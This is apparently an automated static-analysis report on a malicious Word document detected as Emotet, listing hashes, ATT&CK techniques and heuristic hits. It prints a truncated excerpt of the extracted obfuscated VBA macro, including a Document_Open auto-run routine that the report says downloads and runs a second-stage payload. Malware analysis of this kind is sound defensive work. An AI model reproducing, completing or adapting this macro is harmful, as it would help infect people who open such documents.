Emotet — Office (OLE) malware analysis

Static analysis result for SHA-256 6939be3257fa0da6…

MALICIOUS

Office (OLE)

188.6 KB Created: 2020-09-16 12:20:00 Authoring application: Microsoft Office Word First seen: 2020-09-24
MD5: e208e8d89914373bd37e47e2338c1b0a SHA-1: 140e42d67ae2e83bcacc963a0cc312d30dbe6767 SHA-256: 6939be3257fa0da68c739f5f9de1de834da51176033adb35511f2542634b3d22
202 Risk Score

Malware Insights

Emotet · confidence 95%

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment T1059 Command and Scripting Interpreter

The sample contains VBA macros, including a Document_Open auto-execution macro, which is a strong indicator of malicious intent. The ClamAV detection explicitly names Emotet, and the presence of CreateObject calls further supports this. The VBA script is heavily obfuscated but its structure suggests it is designed to download and execute a second-stage payload.

Heuristics 6

  • ClamAV: Doc.Malware.Emotet-9762404-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Malware.Emotet-9762404-0
  • VBA macros detected medium 3 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • Document_Open macro high OLE_VBA_DOCOPEN
    Document_Open macro
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 21867 bytes
SHA-256: 49b4ebbf014fb7982286797412148a9d5a2325fbd8b23512b4e2381b987c3c86
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "Gh3010mjh_7"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Private Sub _
Document_open()
Fozpbrz1cieaj__j = Array(M0840whbk5v2s + "Ze7ewcove35g2yAbqq8obv5j4 J2yd0v4e7o6oh7" + Vf_36tak3flwc9tb74, A5ry6w0tewhbiar, Eikogdcdmkssr.Gt2lmj0wggw71s, L6r90nr70x01 + "Jn_vx7dnseg7 Xyvdcvv2ego6wxnv1h Gm3jhrwfo691lc_r I7voeqigv2ai1448t")
End Sub


Attribute VB_Name = "Eikogdcdmkssr"
Attribute VB_Base = "0{00CAE074-30F2-4547-B202-1105B340604D}{3B045612-8322-40EC-A834-692856CE77B9}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False
Function Gt2lmj0wggw71s()
On Error Resume Next
   Set Zs_6aa1xon3jyx1q4z = Gh3010mjh_7.Signatures
AfSnzZR = "nOqlf33A9iNrrNvsm"
sVaLlprbq = Mid(AfSnzZR, 7, 1)
TpsDpt = sVaLlprbq
pZFjrEbjNBC = "pPKKJiLM4v 71oruV5pcivwa2KZjUzi"
uujIahXz = Mid(pZFjrEbjNBC, 10, 2)
RTvcMTA = uujIahXz
tiswnRfYm = "KXo8IViD4PY9McsQh9ijyOCrWmfdHLFmtj5"
dXHwKP = Mid(tiswnRfYm, 20, 2)
UbbcYACXi = dXHwKP
Set Rbzd3fw8mx74u55i = Gh3010mjh_7.Signatures
CQJwp = "8Sh2Dj flCYlNJnk7J"
QwTGUhqYFFM = Mid(CQJwp, 7, 2)
XikUhRIu = QwTGUhqYFFM
jTKUdGGBTDa = "Y5gy9h2AZVCYKYN"
RijspupH = Mid(jTKUdGGBTDa, 3, 2)
YHsppDnDs = RijspupH
DPKLRinDS = "cwysPIzU DWh5BXqvpLlR"
blXBczWlAdq = Mid(DPKLRinDS, 3, 1)
MzMrV = blXBczWlAdq
Set V67yw5_n3o8i = Gh3010mjh_7.Signatures
zJiRGqL = "G4QEfdYffBzLj6r"
dkozDNza = Mid(zJiRGqL, 5, 1)
jnNDOi = dkozDNza
ufKPwOFjN = "CcZ60A4Y18DPEAi3bqXrYbOCvhRA6KbUshmrFXwhu"
jfOPNfK = Mid(ufKPwOFjN, 25, 2)
iqElzbN = jfOPNfK
bNMVhjyfU = MzMrV + QOvjQtQb + RTvcMTA + ivortr + YHsppDnDs + iqElzbN + BNUnazc
Ueaocx4zf9j6ihdx = 90
   Set Zs_6aa1xon3jyx1q4z = Gh3010mjh_7.Signatures
AfSnzZR = "nOqlf33A9iNrrNvsm"
sVaLlprbq = Mid(AfSnzZR, 7, 1)
TpsDpt = sVaLlprbq
pZFjrEbjNBC = "pPKKJiLM4v 71oruV5pcivwa2KZjUzi"
uujIahXz = Mid(pZFjrEbjNBC, 10, 2)
RTvcMTA = uujIahXz
tiswnRfYm = "KXo8IViD4PY9McsQh9ijyOCrWmfdHLFmtj5"
dXHwKP = Mid(tiswnRfYm, 20, 2)
UbbcYACXi = dXHwKP
Set Rbzd3fw8mx74u55i = Gh3010mjh_7.Signatures
CQJwp = "8Sh2Dj flCYlNJnk7J"
QwTGUhqYFFM = Mid(CQJwp, 7, 2)
XikUhRIu = QwTGUhqYFFM
jTKUdGGBTDa = "Y5gy9h2AZVCYKYN"
RijspupH = Mid(jTKUdGGBTDa, 3, 2)
YHsppDnDs = RijspupH
DPKLRinDS = "cwysPIzU DWh5BXqvpLlR"
blXBczWlAdq = Mid(DPKLRinDS, 3, 1)
MzMrV = blXBczWlAdq
Set V67yw5_n3o8i = Gh3010mjh_7.Signatures
zJiRGqL = "G4QEfdYffBzLj6r"
dkozDNza = Mid(zJiRGqL, 5, 1)
jnNDOi = dkozDNza
ufKPwOFjN = "CcZ60A4Y18DPEAi3bqXrYbOCvhRA6KbUshmrFXwhu"
jfOPNfK = Mid(ufKPwOFjN, 25, 2)
iqElzbN = jfOPNfK
bNMVhjyfU = MzMrV + QOvjQtQb + RTvcMTA + ivortr + YHsppDnDs + iqElzbN + BNUnazc
N9xdum025n599w7lg = Fz41xzbcmdb7q8sf0 + Chr$(Ueaocx4zf9j6ihdx + (25))
   Set Zs_6aa1xon3jyx1q4z = Gh3010mjh_7.Signatures
AfSnzZR = "nOqlf33A9iNrrNvsm"
sVaLlprbq = Mid(AfSnzZR, 7, 1)
TpsDpt = sVaLlprbq
pZFjrEbjNBC = "pPKKJiLM4v 71oruV5pcivwa2KZjUzi"
uujIahXz = Mid(pZFjrEbjNBC, 10, 2)
RTvcMTA = uujIahXz
tiswnRfYm = "KXo8IViD4PY9McsQh9ijyOCrWmfdHLFmtj5"
dXHwKP = Mid(tiswnRfYm, 20, 2)
UbbcYACXi = dXHwKP
Set Rbzd3fw8mx74u55i = Gh3010mjh_7.Signatures
CQJwp = "8Sh2Dj flCYlNJnk7J"
QwTGUhqYFFM = Mid(CQJwp, 7, 2)
XikUhRIu = QwTGUhqYFFM
jTKUdGGBTDa = "Y5gy9h2AZVCYKYN"
RijspupH = Mid(jTKUdGGBTDa, 3, 2)
YHsppDnDs = RijspupH
DPKLRinDS = "cwysPIzU DWh5BXqvpLlR"
blXBczWlAdq = Mid(DPKLRinDS, 3, 1)
MzMrV = blXBczWlAdq
Set V67yw5_n3o8i = Gh3010mjh_7.Signatures
zJiRGqL = "G4QEfdYffBzLj6r"
dkozDNza = Mid(zJiRGqL, 5, 1)
jnNDOi = dkozDNza
ufKPwOFjN = "CcZ60A4Y18DPEAi3bqXrYbOCvhRA6KbUshmrFXwhu"
jfOPNfK = Mid(ufKPwOFjN, 25, 2)
iqElzbN = jfOPNfK
bNMVhjyfU = MzMrV + QOvjQtQb + RTvcMTA + ivortr + YHsppDnDs + iqElzbN + BNUnazc
Sk_i1ersf8lkkaz246 = "PIZDECPIZDECwPIZDECiPIZDECnmPIZDECPIZDECgmPIZDECtPIZDECPIZDEC" + N9xdum025n599w7lg + "PIZDECPIZDEC:PIZ
... (truncated)